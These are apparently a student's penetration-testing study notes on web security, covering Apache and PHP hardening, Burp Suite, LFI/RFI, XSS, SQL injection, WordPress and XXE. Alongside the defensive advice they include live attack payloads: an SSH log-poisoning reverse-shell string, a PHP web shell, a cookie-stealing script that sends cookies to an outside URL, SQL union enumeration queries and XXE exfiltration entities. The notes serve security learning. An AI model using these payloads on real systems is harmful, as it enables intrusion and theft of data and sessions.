Apache Server:

apt install apache2 : installing apache2 server

a web server listens to port 80 by default, doesn't apply and praticular security features.

Apache can be configured via 'apache2.conf' file, located at /etc/apache2 directory.

Apache enables setting (globaly and site-specific) configurations via '.htaccess' , (hidden file), the file is located at apache root directory (/var/www/html) and it contains different configurations for operation such as error handling, traffic redirections and IP filtering, the usage of this file is diabled by default, this can be changed by editing 'apach2.conf' file and setting to AllowOverride All under the <Directorys> sections.

The apache related files belong to 'root' which means that no other user has 'write' permissions to them.

The account that handles the Apache server called 'www-data' and considered as weak user. Any extra permissions to 'www-data' might consider as a vulnerability.

More info about .htaccess

service apache2 start : starting apache2 server.

service apache2 status : checking apache2 server status.

Apache modules:

Apache modules are service programs used to extend the function of the HTTP Server, this may be used in order to provide Authentication, Encryption, Application Support, Loggin.. etc

More info about Apache modules

a2enmod [specified module] : a script that enables the specified module within the apache2 configuration.
It does this by creating symlinks(symbolic links are like shortcuts or references to the actual file or directory).

etc/apache2/mods-available : Directory with files giving information on available modules.

etc/apache2/mods-enabled : Directory with links to the files in mods-available for enabled modules.

a2dismod [specified module] : disables the specified module.

Apache Logs:

Logs can help determine the cause of errors, help preventing damage during and after cyberattack. Fail2ban tool can be used in order to scan log files, and ban Ips that show malicious signs. More info about fail2ban

Apache uses two log files by default, access.log and error.log, both are located at /var/log/apache2

Request Methods & Headers:

GET: on of the most common HTTP methods, used to request data from a specified resouese. the data is sent in the header and displayed in the URL, this method considered less secured and shouldn't be used when dealing with sensitive data. it can be cashed, remains in browser history and can be bookmarked, it has length restrictions and only used to request data (not modify)

POST: a very common HTTP method, used to send data to a specified server in order to create/update a resource, the data is sent in the request body and it is not displayed in the URL, it can't be cashed, do not remain in the browser history, cannot be bookmarked, have no restrictions on data length.

PUT: used to send data to a sever to create/update a resource.
The difference between PUT and POST requests is that PUT request is idempotent, which means that if PUT request have been called multiple times it will always produce the same result. calling POST request multiple times it will create the same resource multiple times.

PATCH: used to perform only partial modification to a selected resource.

HEAD: same as GET request but without the response body, in other words, if GET request returns a response, HEAD do the same without returning any response.

DELETE: this method deletes the specified resource.

OPTION: this method describes the communication options for the target resource.

TRACE: a rare request method, used to check additional info about connections, statics ..etc

Security Headers:

ClickJacking: X-FRAME-OPTIONS header is used to protect sites from clickjacking attacks.

XSS: X-XSS-Protection header is used to prevent cross-site scripting.

HSTS: STRICT-TRANSPORT-SECURITY header prevent SSL strip attacks

CONTENT: X-CONTENT-TYPE-OPTIONS header prevent modification to the content type read by the browser.

Web Site Status Codes (HTTP response status code):

HTTP status code is a server response to a browser's request, it defines what happens when client browser tries to communicate with a website, this might be used in order to gather additional information and implement different attack vectors.

Status code range:

- (100-199) informational responses

- (200-299) successful responses

- (300-399) redirects

- (400-499) client errors

- (500-599) server errors

More info about status codes (all codes explained)

Information Disclosure (Enumeration):

- In order to check supported methods on a website, NMAP and CURL can be used:

```
nmap -p[port] --script http-methods [ip]
```

```
curl -i -X OPTIONS -L [server_ip:port]
```

- NMAP can also be used in order to enumerates directories:

```
nmap [ip] --script=http-enum
```

- adding /server-status in the end of URL might provide more info about the website and server. For example : (http://www.example.com/server-status).
*The /server-status page can be disabled by a2dismod status command.

- Apache configurations enables directory listing by default. It allows users to browse the server's directory content. This option can be disabled in .htaccess file by adding Options -Indexes

-Robots.txt, a file that determines which files or directories on the website can be indexed by search engines, the robots.txt file can be accessed and read by any user but cant be modified. (http://www.example.com/robots.txt)

Information Protection:

Apache can be configured to hide information like version numbers in errors and headers by adding ServerTokens Prod and ServerSignature Off in /etc/apache2/apache2.conf file

Providng a WAF like Mod-Security is important for information disclosure prevention.

User Input:

User input is the way the client interact with the server, this may be vulnerable since it enables the user to insert data and transfer it to the server's database. This vulnerability enables code injections. filter_var() function is responsible for validation and sanitizing the data.

Validation (input validation): a process ensures that the provided data matches the type of data expected by the web application. If not the user's input will be rejected.

Sanitization (input sanitization): a process verifies that the user sticks in the user's input format. It check, clean and filters the data from unwanted characters and strings to prevent malicious code injection.

PHP Basics (Hypertext Preprocessor):

PHP is a widely used open source general purpose scripting language that is especially suited for web development and can be embedded into HTML. PHP uses a configuration file php.ini that can be edited and used to configure and manage several core PHP functionalities. PHP can be installed via apt install php command.

PHP has couple of Frameworks (a software development program that helps to develop projects more efficiently providing rules, functions and libraries) such as Laravel, CodeIgniter, Symfony and CakePHP. More info about PHP Frameworks

PHP has a popular problem, it has a built-in function called phpinfo() (used to test installations and configurations) the thing is that this function also provides extensive infromation about the system, this function if not disabled in live servers can be used as a vulnerability and helps in the enumeration process.

PHP vulnerabilities (older versions)

In order to prevent PHP information disclosure a configuration must be edited in php.ini file, usually located at /etc/php/[PHPversion]/apache2/php.ini and display_errors = 0 and display_startup_errors = 0 must be applied.

A missconfiguration of file upload might be considered as a vulnerability and a malicious file can be uploaded, also the proper file size must be limited in order to prevent DoS attack. Those configuration need to be changed in the php.ini file_uploads = 1 and upload_max_filesize = 1M

PHP has few dangerous functions if compromised, it is recommened to blacklist these functions using disable_functions = [specified_functions] in php.ini.

Remote File Inclusion (RFI) is another vulnerability which enables external URL injection as input, to prevent this allow_url_fopen = Off and allow_url_include = Off.

To prevent DDOS attack, max_execution_time = 30 and memory_limit = 8M these configurations will limit the resources and may prevent DDOS attack.

PHP has a built-in functions that may help prevent cross-site-scripting (XSS) and HTML Injections, one of these functions called htmlintities which replaces suspicious characters such as symboles and special characters.

When working with database connections, must be aware of not using unsecure parameters in SQL queries, this may enable attackers to perform SQL injections, SQL queries transfer user input directly into the query, which considered a security issue. In order to prevent SQL Injections, prepared statements must be used (sepatates the data from the query). More info about prepared statements.

Burp Suite:

Burp Suite is a graphical tool used for pen-testing web application security, it is an advanced web proxy written in Java.
By defualt Burp listens of 127.0.0.1:8080 and additional proxies can be added.
It has the ability to withhold traffic packets for manipulation and inspection. By default Burp intercept only outgoing requests, but it is possible to intercept server responses.

When Burp is on, the traffic will be logged in the HTTP history tab, this allows traffic inspection for each packet (request & response).

The interception will delay each packet (it is possible to whitelist packets using the filtering rules of the proxy), after the interception the traffic can be inspected in Raw or Hex, there is also an option to desplay only the headers. Once incspected, packets can be edited, forwarded or dropped.

To use encrypted traffic over HTTPS, burp certificate needs to be imported to the browser and approved, installing Burp certificate.

Burp Suite Tools:

-Repeater: this feature enables sending paackets to the server repeatedly and track the changes in the responses (useful for server responses inspection).
The repeater handles repetitive transmissions, the captured packet can be sent to the repeater and then manipulated and sent again.
More about Burp Repeater.

-Intruder: this is the automateing customized attack tool againts web application (used as brute-force tool), it enables pinpointing parameters and headers sent via HTTP/S requests and manipulating them using a pattern/sequence/rule or a wordlist. After capturing packets, they can be marked for substitution, Burp will try to automatically identify all parameters to be substituted and mark them with special symbols. Intruder also can enumerate a website's directory and files using brute-force, by selecting the relevant part of the URL.
More about Burp Intruder.

-Sequencer: a similar tool to Intruder but instead of sending different payloads, Sequencer sends the same payload and examines the randomness of generated tokens,cookies and other identifiers to find a pattern.
More about Burp Sequencer.

-Decoder: this tool enables performing manual or intelligent decoding and encoding of application data.
More about Burp Decoder.

-Comparer: this feature enables comparison between any two pieces of data.
More about Burp Comparer.

LFI (Local File Inclusion):

Local file inclusion is a attack technique which tricks a web application into running or expose files on a web server, this attack is used for enumeration and exposing sensitive information that the user shouldn't access.

When an application uses a file path as an input, the application treasts that the input is safe and trusted, so the attacker can exploit this as a vulnerability and inject a code that exploits it. For example: https://www.example.com/?page=index.php

Notice that 'page' is static and it presents an input that leads to 'index.php' file. And allows to disclose any file in the system that has global read permissions The URL can be changed to https://www.example.com/?page=/etc/passwd this will lead us to sensitive information.

Another information disclosure method is php:// stream and it has a special filter function: php://filter/read=convert.base64-encode/resource=[path_to_file].
Using this filter enables exposing any readable file in base64 and then decoding it to reveal its content. This is useful when disclosing PHP files without executing them.

The operation systems allows user to navigate using virtual directories that contain "./" and "../" in their paths. When loading a file the web server usually starts searching in the base directory, using directory traversal "./ or ../" enables escaping the file's base directory and access files in other locations.

A good method to use in order to exploit this vulenrablity is writing to a log file, this attack can be performed by reaching the /var/log/auth.log file, this is an authentication file that logs every attemp to access the server.
An attemp to connect to the server using SSH will write to this file. The way to connect to a server using SSH is ssh [username]@[server_ip], this command can be modified to: ssh "<? passthru(base64_decode('[BASE64_CODE]'); ?>"@[server_ip] this code will open a reverse shell between the server and the attacker machine, the thing is that this code content can't be injected to the log file (log file has its own language format and rules of writting data). so the code must be encoded to BASE64 then injecting the encoded data and executing the file. (php file will decode the data and execute the command.
Performing reverse shell with LFI
LFI directory traversal cheat sheet

RFI (Remote File Inclusion):

Similar to LFI, it exploit the vunerability of the server failing to validate the location of the file is being included. The main deffirence between LFI and RFI is that in RFI it doesn't require the file to already be on the server. The LFI attack depends only on local system files. RFI depends on external files, attacker can inject a payload into an external file and send it to the server. An example of this:
it is possible to use https://pastebin.com site in order to write malicious PHP code like <?php system($_GET["cmd"]); ?> then getting the code in RAW and injecting the URL of the RAW code into the vulnerable site URL parameter and inserting command into 'cmd' parameter. For exaple:
https://www.example.com/example/?page=example.php
https://www.example.com/example/?page=[URL_OF_RAW_CODE]&cmd=whoami
this enables running the command 'whoami' via external resource (the raw code source).

In pages that inclue file upload form, in case and the input validation is not performed againts the file. it is possible to perform file upload attack gaining RCE on the server, the malicious file can then be accessed via LFI or directory traversal after the upload.

RFI attack can be prevented by editing a specific settings on the php.ini configuration file. "allow_url_fopen=off" and "allow_url_include=off" this will prevent PHP from loading external resources.

Web Shells:

The web shell is type of a server malware that enables a web server to be remotely accessed by a web browser, a script uploaded to the server by attacker and executed there, the term 'shell' is used to describe a user interface used to access services offered by the OS.

Web Shell types:

B374K: PHP administration shell allows files and DB managing, execute commands and inspect processes via a single PHP file.

R57: PHP shell that supports FTP,mail,DB,network pipes and other useful features.

C99: a popular PHP shell which offers various features such as file browsing, command execution, amd muliple protocols support.

Kacak Shell: ASP shell.

Shells can be downloaded here.

XSS (Cross-Site Scripting):

XSS is a common vulnerability (highly rated in OWASP's top 10).
It is an attack which executes a malicious code that is injected on the Client-side of a vulnerable web application, it is mostly used as a social engineering tool more than gaining controll over a machine.

XSS occur when an attacker uses a web application to send malicious code in form of a browser side script to end user, the end user browser has no way to know that the script shouldn't be trusted and executes the script. The malicious script can access any cookies. Session tokens or other sensitive information retained by the browser and used with that site.

The malicious content often takes the form of a segment of JavaScript, but may also include HTML or any other type of code that the browser may execute.

XSS Types:

-DOM XSS: this XSS attack is executed on the client browser and affect the DOM (Document Object Model) enviroment. The payload will not be sent to the server.

-Reflected XSS: this XSS attack sends the payload to the server via HTTP/S request, and it will be executed on the client browser when the client's receives the response. The XSS will then be reflected to the page from the server.

-Stored XSS: this XSS attack is stored in the website's DB, and the payload will be executed on the associated webpage. In this attack the injected JS payload will be executed on every browser that visits the webpage.

More info about XSS Types.

XSS-GET Method: this happens when attacker send malicious code via GET request, when the target opens the infected URL the JS script will be executed.

XSS-POST Method: the malicious code is sent to the target as an HTML file after it was enabled using POST method by the client. (usually a client fills up user input)

More info about XSS-GET&POST.

Cookie Hijacking:

What is Cookie? web cookie is a small piece of data sent by website and stored by user while user is browsing the web. It contains information about how and when users visit the site, as well as authentication information for the site such as usernames and passwords. Authentication cookies are the most common method used by web servers to know if user is logged in or out. If the website does not have proper security measures (vulnerable), an attacker can steal the cookie and use it to impersonate specific users and gain access to their account and information.

What is Session? user session is a collection of data stored on the server that assists in keeping track of active users in the system and the connection they make. Session IDs are stored in cookies.

In order to capture session cookie, a malicious JS script such as :

```
<script >$.ajax({method: 'GET',url: '[URL]', data: 'session'+document.cookie})</script>
```

this script captures the cookie and transmit it with GET in json format to the specified URL (usally requestbin website is used – a website that collects all requests sent to it for inspection)

In order to avoid session hijacking, is to use HTTP-only cookies.

Clickjacking:

Clickjacking attack is when a user clicks on a an actionable content on webpage but actually the user clicks on an alternative hidden button placed behind the actionable content (the actionable content can be iframe). This attack uses CSS to create and manipulate layers.

In order to avoid clickjacking from happening on site, the site should enable x-frame-Options:SAMEORIGIN

BeEF:

BeEF is a pen-testing tool that focuses on the web browser, it provides effective client-side attack vectors and exploits any potential vulnerabilities on the web browser. github `sudo apt-get install beef-xss` (linux)
more info about BeEF

DATABASE MANAGEMENT:

DATABASE Types:

Ralational Database: Ralational DB is type of DB that stores and provides access to data points that are related to one another. It contains multiple tables, with defined columns and rows, each row in the table is a record with a uniqe ID called they key. The columns of the table hold attributes of data and each record usually has a value for each attribute, making it easy to establish the relationships among data points. More info about Ralational DB.

Non-Relational Database (NoSQL): Non-Relational DB is type of DB that does not use the table structure of rows and columns, instead it uses a storage model that is optimized for the specified requirement of the type of data being stored in it, for example: data may be stored as simple key-value paris as JSON documents. More info about Non-Relational DB.

SQL (Structured Query Language):

SQL is the most common language used to create and manage and manipulates Ralational-DBs.

Information Schema: in SQL the information is stored in database called information schema and its is a set of read-only views that provide information about all of the tables,databases,columns..etc in the database.

mySQL cheatcheat:

service mysql start : start mysql service

service mysql status : checks the status of mysql service.

mysql -u [username] -p [password] : connecting to specified user in mysql

CREATE USER '[user'@'host'] IDENTIFIED BY '[password]; : creates a new user, and stores it in "user" table

mysql : connects to mysql default user.

show databases; list all current databases in mysql

use [db_name]; select specified DB

create database [db_name]; creates new database

create table [table_name](var_columns_settings); creates new table & configuring it.

show tables; show all current tables.

describe [table_name]; : lists and describes all columns in the specified table.

select * from [table_name]; show all table's content.

select [variable] from [table_name]; shows specified infromation from the table.

select * from [table_name] where [variable =/>/</! variable]; shows only specified variables/information in the table. (it is also possible to add OR/AND conditions). adding a TURE STATEMENT to the command for example '1=1', will give access to the specified database.

select [variable/*] from [table_name] order by [variable]; retrieve data in a specific order. It is possible to enumerate the database using 'order by' command in order to display the columns number. This helps inserting information to columns later. For example: [command] order by [number]; / [1,2,3,4…];

[command_table1] union / union all [command_table2]; the 'union' and 'union all' commands are used to combining and displaying informationg from several tables (in the same database), the main differene is union all shows identical resualts while union doesn't.
it also possible to select a command with union/union all and SQL function in order to inject the database (it doesn't change the database – only injects the output) for example: select * from [table] union select 1,2,3,4,5; this will inject the columns 1-5 and add specified SQL functions to the selected columns.(must know the columns number in the table – order by command can be used. Otherwise the injection will not work)

insert into [table_name](var_columns) VALUES ("rows_variables"); : inserting values to keys (columns)

select * from [table] into outfile 'path_to_file'; save the output to external file.

SQL Injection:

SQL injection is one of the most common web hacking techniques, it refers to the method of placing a malicious code in SQL statements via web page input. In other words, placing a malicious SQL query into a web application code. This action is used to manipulate a server in order to reveal unauthorized information or to edit data saved on the server also for extraction sensitive information from the website's database.

When performing SQL Injection it is important to look for the version of the DB and the server(then searching them for CVEs).
The user that access the DB are usually also the local user on the system, the user and the password will be located at the DB.
Enumerating the Information schema in the DB will give infromation about all the columns, tables, and databases on the server.

Regular SQL Injection: the classic SQL Injection, occurs when injection a malicious query into a legitimate query that is sent to the DB, in order to receive a non-legitimate response from the server. The server then response providing a data if the statement was TRUE, or it response with ERROR, and using the data provided by the ERROR to gather infromation about the DB structure.
There are two sub-variations of this method:

-Error Based: using the error messages returned from the server in order to reveal data about the database structure.
-Union Based: chaining the SQL queries using 'union statements' allowing dynamic data retrieval from multiple tables.

Blind SQL Injection: same as classic SQL Injection, except that the data is not transferred back to the attacker (server will not provide error messages).
Blind SQL Injection can be divided into two types:
-Boolean Based: this can be used in order to detect changes by injecting TRUE/FALSE values that are based on logical operators. For example: injecting 'or 1=2' (FALSE STATEMENT) then injecting 'or 1=1' (TRUE STATEMENT), then comparing the content of the page, if the content is different that the content of the FALSE STATEMENT this means that the injection is working. This is a slow attack, used to enumerate the DB.
-Time Based: sending SQL query to the DB, and forcing the DB to wait before it can react, it is possible then to know if the query is TRUE/FALSE based on the server response if it was granted instantly or after a waiting period.

SQL Enumeration Flow:

In order to enumerate database, first of all the DB structure must be understood, this can be done by several steps:
1- checking how many columns can be asked from the query:
order by command is used in this case for example: ' order by 1,2,3,4,5..etc#
2- checking which columns will display data:
union command is used, ' union select 1,2,3,4,5,6..etc#
3- checking the current tables in the database:
' union select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database()#
4- checking which columns there is in the specified table:
' union select 1,table_name,3,4,5,6,7 from information_schema.columns where table_schema=[table_name]#
5- extracting the information to be displayed in the columns:
' union select 1,[information],[information2],3..etc fro, [table_name]#

* information functions that can be used for enumeration:
version() : returns the version of the DB and may include the OS version.
database() : returns the name of the database.
user() : displays the name of the user executing the query.
connection_id() : returns the uniqe connection id used for this connection.

WAF Detection:

Web Application Firewall may detect automatic and manual SQL Injection attempts. In order to check if the server has applied WAF on it, it is possible to use wafw00f (github) this tool send legitimate HTTP request and analyzes the response. Another method is using nmap http-waf-detect script. (more info about namp script here). In order to bypass the WAF, obfuscated queries must be used (base64 coding..etc)

SQLMap:

An automated tood written in python that detect and exploit SQL injection flaws and takes over on DB servers. It supports large amount of SQL database systems and also supports six different injection techniques. It is used in order to enumerate users, passwords, hashes, privilages, roles, databases, tables and columns SQLMap documents and download.

Website Enumeration:

Enumerating a website can give information about available vulnerabilities, enumerating website's directories, pages and files covers all the vulnerabilities that exist. Programs such as Dirb(github), DirBuster(github), GoBuster(github) send requests for pages,directories and files listed on a wordlist provided to the tools or generated via rules, by analyzing the response it is possible to know if the reqeuested element exists.
Another tool sublist3r(github) this tool (written in python), enumerates sub-domains of web applications. It uses OSINT to gather information, works with google,yahoo and others, it also uses Netcraft, Virustotal and other databases for enumeration.

CSRF (Cross-Site Request Forgery) :

This is a web application vulnerability which enables the attacker to make a specified authenticated user to perform actions (execute malicious commands/scripts) on the web application that the user not intending to perfrom. (More info about CSRF)

Broken Authentication:

Broken authentication is a description term for several vulnerabilities that attackers exploit to impersonate legitimate users online. broken authentication refers to weaknesses in two areas: session management and credential management. Both are classified as broken authentication because attackers can hijack session IDs or stole the login credentials.
This may be caused of weak passwords, detailed errors (example: password must contain 8 letters/uppercase letters), lack of Anti-Automation (example: Captcha or IPS in not configured to stop logging attempts), default login (login using default credentials).

Authentication and Authorization Headers:

Authenticate by NTLM: authentication schema that perform 4-way handshake via http www-authenticate and authorization headers. This is based on challenge-response mehcanism.
Token: an authorization header that holds user credentials(encoded string) to authenticate the agent with the server.
Bearer Token: a schema sent in the authorization header of the agent that specifies a JSON web token. If the token is valid, the agent will be authenticated and authorized to have access to protected resources.
Cookie: a request can hold a header which contains the user's cookie used for authentication.

WordPress:

WordPress is a free open-source content management system, used to host and write websites. written in PHP and paired with MySQL or MariaDB.
More than 455 milion sites uses WordPress. In order to perform PT on WordPress site thae structure and architecture of WordPress must be studied.

Common WordPress Folders and files:

- wp-config.php: an important core file, contains information for communication with the database settings (database credentials).

- .htaccess: the apache server configuration file that operates on directory level (creating subdirectories each one will have sepatate .htaccess that operates independently from the main .htaccess file found in the root WordPress directory.

- index.php: this file helps loading and intializing WP files when a user requests them. Located in the Root directory of WP, similarly index.php file can be located in subdirectories serving the same purpose.

- wp-admin folder: one of the two core WP folders. it contains all the files and folders required for WP dashboard to properly function.the most important file in this folder called admin.php, this file display the WP dashboard and plugin admin pages, determine if a user is an admin or not, schedules transient, loads many other core files from the wp-admin folder and root WP directory.
Additionally, some files in wp-admin serve to enable common administration tasks.

- wp-content folder: this folder contains files with commonly used website functions. It contains two important folders, plugins and themes.
The plugins folder contains subfolders of each plugin.
The themes folder contains subfolders of each theme installed.
it could also contain subfolders beside themes and plugins for other configurations.

-wp-includes: this is the second core WP folder, it contains all the files and the folders required for the website to function properly. More info about WP file and directory structure.

WP User Roles:

-Administrator: most powerul user role (have full access to all resources).

-Editor: have full control on the content section of the website, can edit, publish and delete any posts on the site, include the ones written by others, as well comments. (have no access to change website settings or to install plugins/themes.)

-Author: can publish or edit their own posts.

-Contributor: can write, edit and delete their own content, before their posts can be published they must be reviewed and approved by Admin or Editor.

-Subscriber: can post comments and create a profile through the WP dashboard, they don't have additional permissions and cannot edit settings or content of the site.

WP Plugins & Themes:

WordPess Plugins are used to add various user-friendly features and functions as well security enhancements to the site. Themes are layouts that can be used to completely change the ewbsite's appearance.

Themes and Plugins usually are developed from external resource and they might be vulnerable, if so their vulnerability could be exploited in order to enumerate or exploit the website.

WP Enumerating and vulnerability scanning:

-Burp Suite: it is possible to check usernames available in the system by checking their posts, WP enable sorting posts according to …/wordpress/?author=[number] in the URL, using Burp Suite Introder Brute Forcer can enumerates the userID 'number' and check what users are available in the system.

-WPScan: (github) most used tool for WP vulnerability scanning and enumeration, it automates a bruteforce and enumeration techniques.
apt install wpscan (installing -kali), wpscan -update (updating the tool before using)
WPScan manual page

Gaining Shell on WP: after obtaining the administrator credentials, it is possible to gain RCE on the hosting web server by planting a malicious code in the source code of a specified page. For example: navigating to 'Appearance' then 'Theme Editor' searching for a specified page for example '404 template' then getting a ready reverse shell code (it might need to be obfuscated in order to bypass protection tools) or simply writing a reverse shell code then uploading the page. Now when accessing that page while another tool is listining on the other machine, a reverse shell will be gained which enables RCE.

XXE (XML External Entity):

A web security vulnerability that allows manipulating the XML data process of an application. It ofen causes to view files on the application server filesystem and interacts with any internal/external resource that the application can access.
XML entities explained

XXE Based Attacks:

- Blind XXE: it is harder to exploit than regular XXE vulnerabilities, in Blind XXE the application doesn't return the values of any specified entities within its response (which means the direct access to server-side files in not possible). Still infrormation still can be accessed using two tags:
<!ENTITY [variable] SYSTEM /path/to/file> (enternal)
<!ENTITY [variable] SYSTEM "http://external.resource.com/&file;"> (external)
more info about Blind XXE.

- Protocol communicatino: XXE can also be used to transfer information using diffirent protocols such as file://, php:// and ftp://.

-RCE: (*) gaining RCE via XXE attack is rare. And this is not the purpose of the attack, but it is possible to gain RCE when modules such as PHP's "expect" are enabled. However this option is not usually used.

XML Entity Injection:

The DTD can be defined within the XML, this enables defining a DTD after capturing a request then crafting external entity XML tags and send the request.
XML Entity Injection Flow:
1- using Burp Suite it is possible to capture a request.
2- defining DTD.
3- crafting entities for the specified purpose.
4- sending the manipulated request.

XML Bombs (XML DoS):

An XML bomb is a small but dangerous piece of code that is written and sent with the intent of crashing the targeted server or program that tries to read and decode it. When an XML parser tries to process an XML bomb, the nested data entities start growing exponentially. This can result in the shutting down of a server or ISP, making it vulnerable to unauthorized access by hackers, which can result in serious threat to data privacy. An XML bomb takes advantage of three properties of XML, namely, entity substitution, nested entities and inline DTDs.
More info about XML Bombs.

* The best way to protect againts XXE attacks is to disable DTD.

SSRF (Server Site Request Forgery):

SSRF is a vulnerabilty that can force a server to trigger malicious requests to internal or third-party resource. For example, if a sever is behind a firewall, externals can't run a port scans, but with SSRF it's possible to bypass firewall, access controls and scan ports on the device behind the firewall.
The idea is to find a vulnerable server that allows sending packets to localhost interface (which is secured by firewall). Compromising the vulnerable server will allow sending crafted packets for specified purpose to other end devices/servers on the localhost, which means using the server connected to localhost in order to reach other localhost devices.
More info about SSRF attack.